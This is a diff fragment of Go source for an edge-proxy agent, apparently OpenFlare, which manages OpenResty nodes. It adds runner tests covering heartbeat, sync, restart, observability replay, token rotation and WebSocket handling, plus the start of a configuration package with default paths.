||||
snapshot, loadErr := r.StateStore.Load()
|
||||
if loadErr != nil {
|
||||
slog.Error("load state before recording openresty error failed", "error", loadErr)
|
||||
return
|
||||
}
|
||||
message := strings.TrimSpace(err.Error())
|
||||
if !fallbackOnly || strings.TrimSpace(snapshot.OpenrestyMessage) == "" {
|
||||
snapshot.OpenrestyMessage = message
|
||||
}
|
||||
snapshot.OpenrestyStatus = protocol.OpenrestyStatusUnhealthy
|
||||
if saveErr := r.StateStore.Save(snapshot); saveErr != nil {
|
||||
slog.Error("save state after recording openresty error failed", "error", saveErr)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,662 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/config"
|
||||
agentheartbeat "Wavelet/openflare/plugins/agent/heartbeat"
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
"Wavelet/openflare/plugins/agent/state"
|
||||
"Wavelet/openflare/plugins/agent/updater"
|
||||
)
|
||||
|
||||
func withHeartbeatCycle(runner *Runner, observabilityBuffer *state.ObservabilityBufferStore) *Runner {
|
||||
runner.HeartbeatCycle = &agentheartbeat.Cycle{
|
||||
Config: runner.Config,
|
||||
StateStore: runner.StateStore,
|
||||
ObservabilityBuffer: observabilityBuffer,
|
||||
Heartbeat: runner.HeartbeatService,
|
||||
Sync: runner.SyncService,
|
||||
Updater: updater.New(),
|
||||
}
|
||||
return runner
|
||||
}
|
||||
|
||||
type fakeHeartbeatService struct {
|
||||
mu sync.Mutex
|
||||
registerCalls int
|
||||
heartbeatCalls int
|
||||
registerErr error
|
||||
registerResp *protocol.RegisterNodeResponse
|
||||
heartbeatErrs []error
|
||||
heartbeatResults []*protocol.HeartbeatResult
|
||||
heartbeatPayloads []protocol.NodePayload
|
||||
onHeartbeat func(int)
|
||||
lastToken string
|
||||
}
|
||||
|
||||
func (f *fakeHeartbeatService) Register(ctx context.Context, payload protocol.NodePayload) (*protocol.RegisterNodeResponse, error) {
|
||||
f.mu.Lock()
|
||||
defer f.mu.Unlock()
|
||||
f.registerCalls++
|
||||
return f.registerResp, f.registerErr
|
||||
}
|
||||
|
||||
func (f *fakeHeartbeatService) Heartbeat(ctx context.Context, payload protocol.NodePayload) (*protocol.HeartbeatResult, error) {
|
||||
f.mu.Lock()
|
||||
f.heartbeatCalls++
|
||||
callIndex := f.heartbeatCalls
|
||||
f.heartbeatPayloads = append(f.heartbeatPayloads, payload)
|
||||
var err error
|
||||
if len(f.heartbeatErrs) >= callIndex {
|
||||
err = f.heartbeatErrs[callIndex-1]
|
||||
}
|
||||
var result *protocol.HeartbeatResult
|
||||
if len(f.heartbeatResults) >= callIndex {
|
||||
result = f.heartbeatResults[callIndex-1]
|
||||
}
|
||||
onHeartbeat := f.onHeartbeat
|
||||
f.mu.Unlock()
|
||||
if onHeartbeat != nil {
|
||||
onHeartbeat(callIndex)
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
|
||||
func (f *fakeHeartbeatService) SetToken(token string) {
|
||||
f.mu.Lock()
|
||||
defer f.mu.Unlock()
|
||||
f.lastToken = token
|
||||
}
|
||||
|
||||
type fakeSyncService struct {
|
||||
mu sync.Mutex
|
||||
startupErr error
|
||||
syncOnceErr error
|
||||
startupCalls int
|
||||
syncOnceCalls int
|
||||
lastTarget *protocol.ActiveConfigMeta
|
||||
onSyncOnceCall func(int)
|
||||
wafChecksums map[string]string
|
||||
wafGroups []protocol.WAFIPGroup
|
||||
}
|
||||
|
||||
type fakeRuntimeManager struct {
|
||||
mu sync.Mutex
|
||||
healthErr error
|
||||
restartErr error
|
||||
restartCalls int
|
||||
clearHealthOnRestart bool
|
||||
}
|
||||
|
||||
func (f *fakeRuntimeManager) CheckHealth(ctx context.Context) error {
|
||||
f.mu.Lock()
|
||||
defer f.mu.Unlock()
|
||||
return f.healthErr
|
||||
}
|
||||
|
||||
func (f *fakeRuntimeManager) Restart(ctx context.Context) error {
|
||||
f.mu.Lock()
|
||||
defer f.mu.Unlock()
|
||||
f.restartCalls++
|
||||
if f.clearHealthOnRestart && f.restartErr == nil {
|
||||
f.healthErr = nil
|
||||
}
|
||||
return f.restartErr
|
||||
}
|
||||
|
||||
func (f *fakeSyncService) SyncOnStartup(ctx context.Context, target *protocol.ActiveConfigMeta) error {
|
||||
f.mu.Lock()
|
||||
defer f.mu.Unlock()
|
||||
f.startupCalls++
|
||||
return f.startupErr
|
||||
}
|
||||
|
||||
func (f *fakeSyncService) SyncOnce(ctx context.Context, target *protocol.ActiveConfigMeta) error {
|
||||
f.mu.Lock()
|
||||
f.syncOnceCalls++
|
||||
if target != nil {
|
||||
copied := *target
|
||||
f.lastTarget = &copied
|
||||
}
|
||||
callIndex := f.syncOnceCalls
|
||||
callback := f.onSyncOnceCall
|
||||
f.mu.Unlock()
|
||||
if callback != nil {
|
||||
callback(callIndex)
|
||||
}
|
||||
return f.syncOnceErr
|
||||
}
|
||||
|
||||
func (f *fakeSyncService) ForceSyncOnce(ctx context.Context, target *protocol.ActiveConfigMeta) error {
|
||||
f.mu.Lock()
|
||||
f.syncOnceCalls++
|
||||
if target != nil {
|
||||
copied := *target
|
||||
f.lastTarget = &copied
|
||||
}
|
||||
callIndex := f.syncOnceCalls
|
||||
callback := f.onSyncOnceCall
|
||||
f.mu.Unlock()
|
||||
if callback != nil {
|
||||
callback(callIndex)
|
||||
}
|
||||
return f.syncOnceErr
|
||||
}
|
||||
|
||||
func (f *fakeSyncService) WAFIPGroupChecksums() (map[string]string, error) {
|
||||
if f.wafChecksums == nil {
|
||||
return map[string]string{}, nil
|
||||
}
|
||||
return f.wafChecksums, nil
|
||||
}
|
||||
|
||||
func (f *fakeSyncService) ApplyWAFIPGroups(ctx context.Context, groups []protocol.WAFIPGroup) error {
|
||||
f.mu.Lock()
|
||||
defer f.mu.Unlock()
|
||||
f.wafGroups = append(f.wafGroups, groups...)
|
||||
return nil
|
||||
}
|
||||
|
||||
type fakeWebSocketConnection struct {
|
||||
pongCalls int
|
||||
}
|
||||
|
||||
func (f *fakeWebSocketConnection) URL() string {
|
||||
return "ws://127.0.0.1/api/v1/agent/ws"
|
||||
}
|
||||
|
||||
func (f *fakeWebSocketConnection) SendStatus(payload protocol.NodePayload) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *fakeWebSocketConnection) SendPong() error {
|
||||
f.pongCalls++
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *fakeWebSocketConnection) Receive() (protocol.WSMessage, error) {
|
||||
return protocol.WSMessage{}, errors.New("not implemented")
|
||||
}
|
||||
|
||||
func (f *fakeWebSocketConnection) Close() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestRunnerKeepsHeartbeatWhenStartupSyncFails(t *testing.T) {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
stateStore := state.NewStore(filepath.Join(t.TempDir(), "state.json"))
|
||||
heartbeatService := &fakeHeartbeatService{
|
||||
heartbeatResults: []*protocol.HeartbeatResult{{}},
|
||||
onHeartbeat: func(callCount int) {
|
||||
if callCount >= 2 {
|
||||
cancel()
|
||||
}
|
||||
},
|
||||
}
|
||||
syncService := &fakeSyncService{
|
||||
startupErr: errors.New("当前没有激活版本，保持当前 OpenResty 配置"),
|
||||
}
|
||||
runner := withHeartbeatCycle(&Runner{
|
||||
Config: &config.Config{
|
||||
AccessToken: "agent-token",
|
||||
NodeName: "edge-01",
|
||||
NodeIP: "10.0.0.8",
|
||||
NodeIPConfigured: true,
|
||||
Version: config.Version,
|
||||
ExtVersion: "1.27.1.2",
|
||||
HeartbeatInterval: config.MillisecondDuration(10 * time.Millisecond),
|
||||
},
|
||||
StateStore: stateStore,
|
||||
HeartbeatService: heartbeatService,
|
||||
SyncService: syncService,
|
||||
}, nil)
|
||||
|
||||
err := runner.Run(ctx)
|
||||
if !errors.Is(err, context.Canceled) {
|
||||
t.Fatalf("expected context cancellation, got %v", err)
|
||||
}
|
||||
if heartbeatService.registerCalls != 0 {
|
||||
t.Fatalf("expected no discovery register call, got %d", heartbeatService.registerCalls)
|
||||
}
|
||||
if heartbeatService.heartbeatCalls < 2 {
|
||||
t.Fatalf("expected heartbeat loop to continue, got %d heartbeat calls", heartbeatService.heartbeatCalls)
|
||||
}
|
||||
snapshot, loadErr := stateStore.Load()
|
||||
if loadErr != nil {
|
||||
t.Fatalf("failed to load state: %v", loadErr)
|
||||
}
|
||||
if snapshot.LastError != "当前没有激活版本，保持当前 OpenResty 配置" {
|
||||
t.Fatalf("expected startup sync error to be recorded, got %q", snapshot.LastError)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunnerDoesNotExitOnHeartbeatOrSyncError(t *testing.T) {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
stateStore := state.NewStore(filepath.Join(t.TempDir(), "state.json"))
|
||||
heartbeatService := &fakeHeartbeatService{
|
||||
registerErr: errors.New("register timeout"),
|
||||
heartbeatErrs: []error{errors.New("heartbeat timeout")},
|
||||
heartbeatResults: []*protocol.HeartbeatResult{
|
||||
{},
|
||||
},
|
||||
}
|
||||
syncService := &fakeSyncService{
|
||||
syncOnceErr: errors.New("openresty reload failed"),
|
||||
onSyncOnceCall: func(callCount int) {
|
||||
if callCount >= 1 {
|
||||
cancel()
|
||||
}
|
||||
},
|
||||
}
|
||||
runner := withHeartbeatCycle(&Runner{
|
||||
Config: &config.Config{
|
||||
AccessToken: "agent-token",
|
||||
NodeName: "edge-01",
|
||||
NodeIP: "10.0.0.8",
|
||||
NodeIPConfigured: true,
|
||||
Version: config.Version,
|
||||
ExtVersion: "1.27.1.2",
|
||||
HeartbeatInterval: config.MillisecondDuration(10 * time.Millisecond),
|
||||
},
|
||||
StateStore: stateStore,
|
||||
HeartbeatService: heartbeatService,
|
||||
SyncService: syncService,
|
||||
}, nil)
|
||||
|
||||
err := runner.Run(ctx)
|
||||
if !errors.Is(err, context.Canceled) {
|
||||
t.Fatalf("expected context cancellation, got %v", err)
|
||||
}
|
||||
if heartbeatService.registerCalls != 0 {
|
||||
t.Fatalf("expected no register attempt, got %d", heartbeatService.registerCalls)
|
||||
}
|
||||
if syncService.syncOnceCalls == 0 {
|
||||
t.Fatal("expected sync loop to continue after heartbeat/register errors")
|
||||
}
|
||||
snapshot, loadErr := stateStore.Load()
|
||||
if loadErr != nil {
|
||||
t.Fatalf("failed to load state: %v", loadErr)
|
||||
}
|
||||
if snapshot.LastError != "openresty reload failed" {
|
||||
t.Fatalf("expected sync error to be recorded, got %q", snapshot.LastError)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunnerReportsOpenrestyHealthAndExecutesRestart(t *testing.T) {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
stateStore := state.NewStore(filepath.Join(t.TempDir(), "state.json"))
|
||||
if err := stateStore.Save(&state.Snapshot{
|
||||
OpenrestyStatus: protocol.OpenrestyStatusUnhealthy,
|
||||
OpenrestyMessage: "docker run openresty failed: bind 80 already allocated",
|
||||
}); err != nil {
|
||||
t.Fatalf("failed to seed state: %v", err)
|
||||
}
|
||||
heartbeatService := &fakeHeartbeatService{
|
||||
heartbeatResults: []*protocol.HeartbeatResult{{
|
||||
AgentSettings: &protocol.AgentSettings{RestartOpenrestyNow: true},
|
||||
}},
|
||||
onHeartbeat: func(callCount int) {
|
||||
if callCount >= 1 {
|
||||
cancel()
|
||||
}
|
||||
},
|
||||
}
|
||||
runtimeManager := &fakeRuntimeManager{
|
||||
healthErr: errors.New("docker openresty container is not running"),
|
||||
clearHealthOnRestart: true,
|
||||
}
|
||||
runner := withHeartbeatCycle(&Runner{
|
||||
Config: &config.Config{
|
||||
AccessToken: "agent-token",
|
||||
NodeName: "edge-01",
|
||||
NodeIP: "10.0.0.8",
|
||||
NodeIPConfigured: true,
|
||||
Version: config.Version,
|
||||
ExtVersion: "1.27.1.2",
|
||||
HeartbeatInterval: config.MillisecondDuration(10 * time.Millisecond),
|
||||
},
|
||||
StateStore: stateStore,
|
||||
HeartbeatService: heartbeatService,
|
||||
SyncService: &fakeSyncService{},
|
||||
RuntimeManager: runtimeManager,
|
||||
}, nil)
|
||||
|
||||
err := runner.Run(ctx)
|
||||
if !errors.Is(err, context.Canceled) {
|
||||
t.Fatalf("expected context cancellation, got %v", err)
|
||||
}
|
||||
if len(heartbeatService.heartbeatPayloads) == 0 {
|
||||
t.Fatal("expected at least one heartbeat payload")
|
||||
}
|
||||
payload := heartbeatService.heartbeatPayloads[0]
|
||||
if payload.OpenrestyStatus != protocol.OpenrestyStatusUnhealthy {
|
||||
t.Fatalf("expected unhealthy openresty status in heartbeat payload, got %q", payload.OpenrestyStatus)
|
||||
}
|
||||
if payload.OpenrestyMessage != "docker run openresty failed: bind 80 already allocated" {
|
||||
t.Fatalf("unexpected openresty message: %q", payload.OpenrestyMessage)
|
||||
}
|
||||
if runtimeManager.restartCalls != 1 {
|
||||
t.Fatalf("expected one openresty restart attempt, got %d", runtimeManager.restartCalls)
|
||||
}
|
||||
snapshot, loadErr := stateStore.Load()
|
||||
if loadErr != nil {
|
||||
t.Fatalf("failed to load state: %v", loadErr)
|
||||
}
|
||||
if snapshot.OpenrestyStatus != protocol.OpenrestyStatusHealthy || snapshot.OpenrestyMessage != "" {
|
||||
t.Fatal("expected restart success to mark openresty healthy")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunnerHeartbeatPayloadIncludesObservabilityExtensions(t *testing.T) {
|
||||
tempDir := t.TempDir()
|
||||
stateStore := state.NewStore(filepath.Join(tempDir, "state.json"))
|
||||
if err := stateStore.Save(&state.Snapshot{
|
||||
NodeID: "node-observe",
|
||||
CurrentVersion: "20260314-001",
|
||||
LastError: "sync failed",
|
||||
OpenrestyStatus: protocol.OpenrestyStatusUnhealthy,
|
||||
OpenrestyMessage: "reload failed",
|
||||
}); err != nil {
|
||||
t.Fatalf("failed to seed state: %v", err)
|
||||
}
|
||||
|
||||
runner := withHeartbeatCycle(&Runner{
|
||||
Config: &config.Config{
|
||||
NodeName: "edge-observe-1",
|
||||
NodeIP: "10.0.0.51",
|
||||
NodeIPConfigured: true,
|
||||
Version: config.Version,
|
||||
ExtVersion: "1.27.1.2",
|
||||
DataDir: tempDir,
|
||||
RouteConfigPath: filepath.Join(tempDir, "conf.d", "openflare_routes.conf"),
|
||||
AccessLogPath: filepath.Join(tempDir, "var", "log", "openflare", "access.log"),
|
||||
HeartbeatInterval: config.MillisecondDuration(10 * time.Millisecond),
|
||||
},
|
||||
StateStore: stateStore,
|
||||
}, nil)
|
||||
if err := os.MkdirAll(filepath.Dir(runner.Config.AccessLogPath), 0o755); err != nil {
|
||||
t.Fatalf("failed to prepare access log dir: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(
|
||||
runner.Config.AccessLogPath,
|
||||
[]byte("{\"ts\":\""+time.Now().UTC().Format(time.RFC3339)+"\",\"host\":\"edge.example.com\",\"path\":\"/\",\"remote_addr\":\"10.0.0.8\",\"status\":200}\n"),
|
||||
0o644,
|
||||
); err != nil {
|
||||
t.Fatalf("failed to prepare access log: %v", err)
|
||||
}
|
||||
|
||||
firstPayload := runner.HeartbeatCycle.NodePayload(context.Background(), "node-observe")
|
||||
if firstPayload.Profile == nil {
|
||||
t.Fatal("expected first heartbeat payload to include system profile")
|
||||
}
|
||||
if firstPayload.HostMetrics == nil {
|
||||
t.Fatal("expected first heartbeat payload to include host metrics")
|
||||
}
|
||||
if firstPayload.SchemaVersion != 2 {
|
||||
t.Fatalf("expected schema_version 2, got %d", firstPayload.SchemaVersion)
|
||||
}
|
||||
if len(firstPayload.AccessLogs) != 1 || firstPayload.AccessLogs[0].Path != "/" {
|
||||
t.Fatalf("expected first heartbeat payload to include access logs, got %+v", firstPayload.AccessLogs)
|
||||
}
|
||||
if len(firstPayload.HealthEvents) != 2 {
|
||||
t.Fatalf("expected health events for openresty and sync error, got %+v", firstPayload.HealthEvents)
|
||||
}
|
||||
|
||||
secondPayload := runner.HeartbeatCycle.NodePayload(context.Background(), "node-observe")
|
||||
if secondPayload.Profile != nil {
|
||||
t.Fatal("expected unchanged profile to be omitted on subsequent heartbeat")
|
||||
}
|
||||
if secondPayload.HostMetrics == nil {
|
||||
t.Fatal("expected host metrics to continue reporting on subsequent heartbeat")
|
||||
}
|
||||
if len(secondPayload.AccessLogs) != 0 {
|
||||
t.Fatalf("expected unchanged access log delta to be omitted on subsequent heartbeat, got %+v", secondPayload.AccessLogs)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunnerReplaysBufferedObservabilityAfterHeartbeatRecovery(t *testing.T) {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
tempDir := t.TempDir()
|
||||
stateStore := state.NewStore(filepath.Join(tempDir, "state.json"))
|
||||
bufferStore := state.NewObservabilityBufferStore(filepath.Join(tempDir, "observability-buffer.json"))
|
||||
nowUnix := time.Now().UTC().Unix()
|
||||
bufferWindow := nowUnix - (nowUnix % 60) - 60
|
||||
if err := bufferStore.Upsert(state.ObservabilityBufferRecord{
|
||||
WindowStartedAtUnix: bufferWindow,
|
||||
HostMetrics: &protocol.NodeMetricSnapshot{CapturedAtUnix: bufferWindow + 5, CPUUsagePercent: 30},
|
||||
EdgeHealth: &protocol.NodeEdgeHealth{CapturedAtUnix: bufferWindow + 5, Connections: 3, Status: "healthy"},
|
||||
QueuedAtUnix: bufferWindow + 60,
|
||||
}, 0); err != nil {
|
||||
t.Fatalf("failed to seed observability buffer: %v", err)
|
||||
}
|
||||
heartbeatService := &fakeHeartbeatService{
|
||||
heartbeatErrs: []error{errors.New("server offline"), nil},
|
||||
heartbeatResults: []*protocol.HeartbeatResult{{}, {}},
|
||||
onHeartbeat: func(callCount int) {
|
||||
if callCount >= 2 {
|
||||
cancel()
|
||||
}
|
||||
},
|
||||
}
|
||||
runner := withHeartbeatCycle(&Runner{
|
||||
Config: &config.Config{
|
||||
AccessToken: "agent-token",
|
||||
NodeName: "edge-buffer-01",
|
||||
NodeIP: "10.0.0.52",
|
||||
NodeIPConfigured: true,
|
||||
Version: config.Version,
|
||||
ExtVersion: "1.27.1.2",
|
||||
DataDir: tempDir,
|
||||
RouteConfigPath: filepath.Join(tempDir, "conf.d", "openflare_routes.conf"),
|
||||
HeartbeatInterval: config.MillisecondDuration(10 * time.Millisecond),
|
||||
ObservabilityReplayMinutes: 15,
|
||||
},
|
||||
StateStore: stateStore,
|
||||
HeartbeatService: heartbeatService,
|
||||
SyncService: &fakeSyncService{},
|
||||
}, bufferStore)
|
||||
if err := os.MkdirAll(filepath.Dir(runner.Config.RouteConfigPath), 0o755); err != nil {
|
||||
t.Fatalf("failed to prepare route config dir: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(
|
||||
filepath.Join(filepath.Dir(runner.Config.RouteConfigPath), "openflare_access.log"),
|
||||
[]byte("{\"ts\":\""+time.Now().UTC().Format(time.RFC3339)+"\",\"host\":\"edge.example.com\",\"path\":\"/\",\"remote_addr\":\"10.0.0.8\",\"status\":200}\n"),
|
||||
0o644,
|
||||
); err != nil {
|
||||
t.Fatalf("failed to prepare access log: %v", err)
|
||||
}
|
||||
|
||||
runErr := runner.Run(ctx)
|
||||
if runErr != context.Canceled {
|
||||
t.Fatalf("expected run to stop by context cancellation, got %v", runErr)
|
||||
}
|
||||
if len(heartbeatService.heartbeatPayloads) != 2 {
|
||||
t.Fatalf("expected two heartbeat payloads, got %d", len(heartbeatService.heartbeatPayloads))
|
||||
}
|
||||
secondPayload := heartbeatService.heartbeatPayloads[1]
|
||||
if len(secondPayload.Buffered) != 1 {
|
||||
t.Fatalf("expected second heartbeat to replay one buffered observation, got %+v", secondPayload.Buffered)
|
||||
}
|
||||
if len(secondPayload.Buffered[0].AccessLogs) != 0 {
|
||||
t.Fatalf("expected seeded buffered observation to keep empty access logs, got %+v", secondPayload.Buffered[0].AccessLogs)
|
||||
}
|
||||
if secondPayload.Buffered[0].EdgeHealth == nil || secondPayload.Buffered[0].EdgeHealth.Connections != 3 {
|
||||
t.Fatalf("expected buffered edge health, got %+v", secondPayload.Buffered[0].EdgeHealth)
|
||||
}
|
||||
|
||||
replayable, err := bufferStore.Replayable(0, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("Replayable after recovery failed: %v", err)
|
||||
}
|
||||
if len(replayable) != 0 {
|
||||
t.Fatalf("expected buffer to be acked after successful heartbeat, got %+v", replayable)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunnerDiscoveryRegisterUpdatesTokenAndNodeID(t *testing.T) {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
stateStore := state.NewStore(filepath.Join(t.TempDir(), "state.json"))
|
||||
heartbeatService := &fakeHeartbeatService{
|
||||
registerResp: &protocol.RegisterNodeResponse{
|
||||
NodeID: "node-server-assigned",
|
||||
AccessToken: "agent-token-issued",
|
||||
Name: "edge-01",
|
||||
},
|
||||
heartbeatResults: []*protocol.HeartbeatResult{{}},
|
||||
onHeartbeat: func(callCount int) {
|
||||
if callCount >= 1 {
|
||||
cancel()
|
||||
}
|
||||
},
|
||||
}
|
||||
syncService := &fakeSyncService{}
|
||||
configPath := filepath.Join(t.TempDir(), "agent.json")
|
||||
if err := os.WriteFile(configPath, []byte(`{"server_url":"http://127.0.0.1:3000","discovery_token":"discovery-token","node_name":"edge-01","node_ip":"10.0.0.8"}`), 0o644); err != nil {
|
||||
t.Fatalf("failed to seed config file: %v", err)
|
||||
}
|
||||
cfg, err := config.Load(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to load config: %v", err)
|
||||
}
|
||||
runner := withHeartbeatCycle(&Runner{
|
||||
Config: &config.Config{
|
||||
ServerURL: cfg.ServerURL,
|
||||
DiscoveryToken: cfg.DiscoveryToken,
|
||||
NodeName: cfg.NodeName,
|
||||
NodeIP: cfg.NodeIP,
|
||||
NodeIPConfigured: cfg.NodeIPConfigured,
|
||||
Version: config.Version,
|
||||
ExtVersion: "1.27.1.2",
|
||||
HeartbeatInterval: config.MillisecondDuration(10 * time.Millisecond),
|
||||
},
|
||||
StateStore: stateStore,
|
||||
HeartbeatService: heartbeatService,
|
||||
SyncService: syncService,
|
||||
}, nil)
|
||||
runner.Config = cfg
|
||||
runner.Config.Version = config.Version
|
||||
runner.Config.ExtVersion = "1.27.1.2"
|
||||
runner.Config.HeartbeatInterval = config.MillisecondDuration(10 * time.Millisecond)
|
||||
|
||||
err = runner.Run(ctx)
|
||||
if !errors.Is(err, context.Canceled) {
|
||||
t.Fatalf("expected context cancellation, got %v", err)
|
||||
}
|
||||
if heartbeatService.registerCalls == 0 {
|
||||
t.Fatal("expected discovery register to be attempted")
|
||||
}
|
||||
if heartbeatService.lastToken != "agent-token-issued" {
|
||||
t.Fatalf("expected client token to be updated, got %q", heartbeatService.lastToken)
|
||||
}
|
||||
snapshot, loadErr := stateStore.Load()
|
||||
if loadErr != nil {
|
||||
t.Fatalf("failed to load state: %v", loadErr)
|
||||
}
|
||||
if snapshot.NodeID != "node-server-assigned" {
|
||||
t.Fatalf("expected node id to be replaced, got %q", snapshot.NodeID)
|
||||
}
|
||||
if runner.Config.AccessToken != "agent-token-issued" || runner.Config.DiscoveryToken != "" {
|
||||
t.Fatal("expected config token rotation to complete")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunnerHandlesWebSocketActiveConfigMessage(t *testing.T) {
|
||||
syncService := &fakeSyncService{}
|
||||
runner := withHeartbeatCycle(&Runner{SyncService: syncService}, nil)
|
||||
payload, err := json.Marshal(protocol.ActiveConfigMeta{
|
||||
Version: "20260529-001",
|
||||
Checksum: "checksum-ws",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal active config: %v", err)
|
||||
}
|
||||
|
||||
changed, err := runner.handleWebSocketMessage(context.Background(), protocol.WSMessage{
|
||||
Type: protocol.WSMessageTypeActiveConfig,
|
||||
Payload: payload,
|
||||
}, &fakeWebSocketConnection{})
|
||||
if err != nil {
|
||||
t.Fatalf("handle websocket active config: %v", err)
|
||||
}
|
||||
if changed {
|
||||
t.Fatal("active config message should not change heartbeat interval")
|
||||
}
|
||||
if syncService.syncOnceCalls != 1 {
|
||||
t.Fatalf("expected one sync call, got %d", syncService.syncOnceCalls)
|
||||
}
|
||||
if syncService.lastTarget == nil || syncService.lastTarget.Version != "20260529-001" || syncService.lastTarget.Checksum != "checksum-ws" {
|
||||
t.Fatalf("unexpected sync target: %+v", syncService.lastTarget)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunnerHandlesWebSocketSettingsDisabled(t *testing.T) {
|
||||
runner := withHeartbeatCycle(&Runner{
|
||||
Config: &config.Config{
|
||||
HeartbeatInterval: config.MillisecondDuration(10 * time.Second),
|
||||
},
|
||||
websocketUpgradeEnabled: true,
|
||||
}, nil)
|
||||
payload, err := json.Marshal(protocol.AgentSettings{
|
||||
HeartbeatInterval: 15000,
|
||||
WebsocketUpgradeEnabled: false,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal settings: %v", err)
|
||||
}
|
||||
|
||||
changed, err := runner.handleWebSocketMessage(context.Background(), protocol.WSMessage{
|
||||
Type: protocol.WSMessageTypeSettings,
|
||||
Payload: payload,
|
||||
}, &fakeWebSocketConnection{})
|
||||
if err == nil {
|
||||
t.Fatal("expected disabled websocket setting to request fallback")
|
||||
}
|
||||
if !changed {
|
||||
t.Fatal("expected heartbeat interval change to be reported")
|
||||
}
|
||||
if runner.websocketUpgradeEnabled {
|
||||
t.Fatal("expected websocket upgrade to be disabled")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebSocketBackoffSequence(t *testing.T) {
|
||||
backoff := newWebSocketBackoff()
|
||||
expected := []time.Duration{
|
||||
time.Second,
|
||||
2 * time.Second,
|
||||
5 * time.Second,
|
||||
10 * time.Second,
|
||||
30 * time.Second,
|
||||
30 * time.Second,
|
||||
}
|
||||
for _, want := range expected {
|
||||
if got := backoff.Next(); got != want {
|
||||
t.Fatalf("unexpected backoff: got %s want %s", got, want)
|
||||
}
|
||||
}
|
||||
backoff.Reset()
|
||||
if got := backoff.Next(); got != time.Second {
|
||||
t.Fatalf("expected reset backoff to return 1s, got %s", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,418 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package config loads and persists agent daemon configuration.
|
||||
package config
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
pathpkg "path"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"Wavelet/openflare/share/edge/nodeip"
|
||||
"Wavelet/openflare/share/ofutil"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultMainConfigRelativePath = "etc/nginx/nginx.conf"
|
||||
defaultRouteConfigRelativePath = "etc/nginx/conf.d/openflare_routes.conf"
|
||||
defaultCertDirRelativePath = "etc/nginx/certs"
|
||||
defaultLuaDirRelativePath = "etc/nginx/lua"
|
||||
defaultRuntimeConfigDirRelativePath = "etc/openflare"
|
||||
defaultPagesDirRelativePath = "var/lib/openflare/pages"
|
||||
defaultMMDBRelativePath = "etc/openflare/GeoLite2-Country.mmdb"
|
||||
defaultCityMMDBRelativePath = "etc/openflare/GeoLite2-City.mmdb"
|
||||
defaultAccessLogRelativePath = "var/log/openflare/access.log"
|
||||
defaultStateRelativePath = "var/lib/openflare/agent-state.json"
|
||||
defaultObservabilityBufferRelativePath = "var/lib/openflare/observability-buffer.json"
|
||||
defaultOpenRestyObservabilityPort = 18081
|
||||
defaultObservabilityReplayMinutes = 60
|
||||
defaultMMDBUpdateInterval = 24 * time.Hour
|
||||
defaultMMDBDownloadURL = "https://github.com/FyraLabs/geolite2/releases/latest/download/GeoLite2-Country.mmdb"
|
||||
defaultCityMMDBDownloadURL = "https://github.com/FyraLabs/geolite2/releases/latest/download/GeoLite2-City.mmdb"
|
||||
defaultHeartbeatInterval = 3 * time.Second
|
||||
defaultRequestTimeout = 10 * time.Second
|
||||
configFilePerm = 0o600
|
||||
)
|
||||
|
||||
// Config holds the full runtime configuration for the OpenFlare agent.
|
||||
type Config struct {
|
||||
ServerURL string `json:"server_url"`
|
||||
AccessToken string `json:"agent_token"`
|
||||
DiscoveryToken string `json:"discovery_token"`
|
||||
NodeName string `json:"node_name"`
|
||||
NodeIP string `json:"node_ip"`
|
||||
Version string `json:"-"`
|
||||
ExtVersion string `json:"-"`
|
||||
OpenrestyPath string `json:"openresty_path"`
|
||||
OpenrestyResolvers []string `json:"openresty_resolvers,omitempty"`
|
||||
DataDir string `json:"data_dir"`
|
||||
MainConfigPath string `json:"main_config_path"`
|
||||
RouteConfigPath string `json:"route_config_path"`
|
||||
AccessLogPath string `json:"access_log_path"`
|
||||
CertDir string `json:"cert_dir"`
|
||||
OpenrestyCertDir string `json:"openresty_cert_dir"`
|
||||
LuaDir string `json:"lua_dir"`
|
||||
OpenrestyLuaDir string `json:"openresty_lua_dir"`
|
||||
RuntimeConfigDir string `json:"runtime_config_dir"`
|
||||
PagesDir string `json:"pages_dir"`
|
||||
MMDBPath string `json:"mmdb_path"`
|
||||
CityMMDBPath string `json:"city_mmdb_path"`
|
||||
